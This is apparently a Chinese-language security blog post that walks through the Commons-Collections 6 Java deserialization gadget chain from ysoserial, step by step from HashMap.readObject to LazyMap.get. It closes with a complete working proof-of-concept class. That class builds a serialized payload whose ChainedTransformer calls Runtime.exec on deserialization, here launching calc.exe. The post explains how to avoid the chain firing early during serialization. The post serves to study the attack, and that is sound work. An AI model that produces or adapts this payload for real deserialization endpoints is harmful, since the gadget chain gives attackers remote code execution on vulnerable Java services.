commons-collections6反序列化链分析

整体分析

cc6这条链我们先来ysoserial看看他的源码,源码如下image-20220228195705688

我们可以看到,他也是使用了LazyMap,但是不同的是,他是通过其他方式调用到了LazyMap的get方法,我们可以深入来看看,这里由于前面学过cc1的LazyMap的那条链了,关注LazyMap前面的部分就不再赘述,如果有师傅不懂的可以看看前面的文章

细节分析

咱就从 LazyMap的get方法开始吧,因为前面的和之前的链子是一样的。先找到谁调用了get方法,这里直接锁定TiedMapEntry的getValue方法,他这里返回了map.get(key),并且构造函数是publice,可以直接new TiedMapEntry这里的map对应的应该是之前的lazymap

image-20220228210943986

接下来是寻找调用getValue的位置,找到同个类下的hashCode方法

image-20220228211048244

这里调用了getValue()方法,我们得继续往上找,最好能直接找到在readObject方法中调用getValue(),ysoserial中给的是HashMap,那我们就在HashMap中找找

image-20220228211202352

在HaspMap的hash方法中能够找到调用hashCode方法,并且在readObject中找到了调用hash方法

image-20220228211323143

image-20220228213417741

至此这条链是差不多了,我们只需要手写poc即可,但是其实这里是有个小坑,就是在序列化的时候就会弹出计算器,这里的话和urldns那条链差不多的问题,我们这里会发现,在序列化的时候就触发了

image-20220228214200975

这里因为HashMap的put方法也调用了hash,所以我们要通过反射来修改tiedMapEntry的值,这里的话tiedMapEntry里面嵌套了lazyMap,lazyMap里嵌套了chainedTransformer,我们只需要改一层就好了,让他在put的时候的状态不能触发这条链,put完以后再改回去

image-20220228214322907

所以可以直接这样改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
// Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry,"bbb");

// Class c=LazyMap.class;
// Field factoryField = c.getDeclaredField("factory");
// factoryField.setAccessible(true);
// factoryField.set(lazyMap,chainedTransformer);

代码中被注释掉的都是修改以后的结果,大家可以先看看,但是改完以后会发现,反而没法触发了,这是怎么回事呢?这还是和urldns比较相似,我们只要把之前他put进去的一个键值对删了即可

最终POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap=new HashMap<>();
// Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,chainedTransformer);
Map<Object,Object> lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");

Class c=LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(hashMap1);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}

}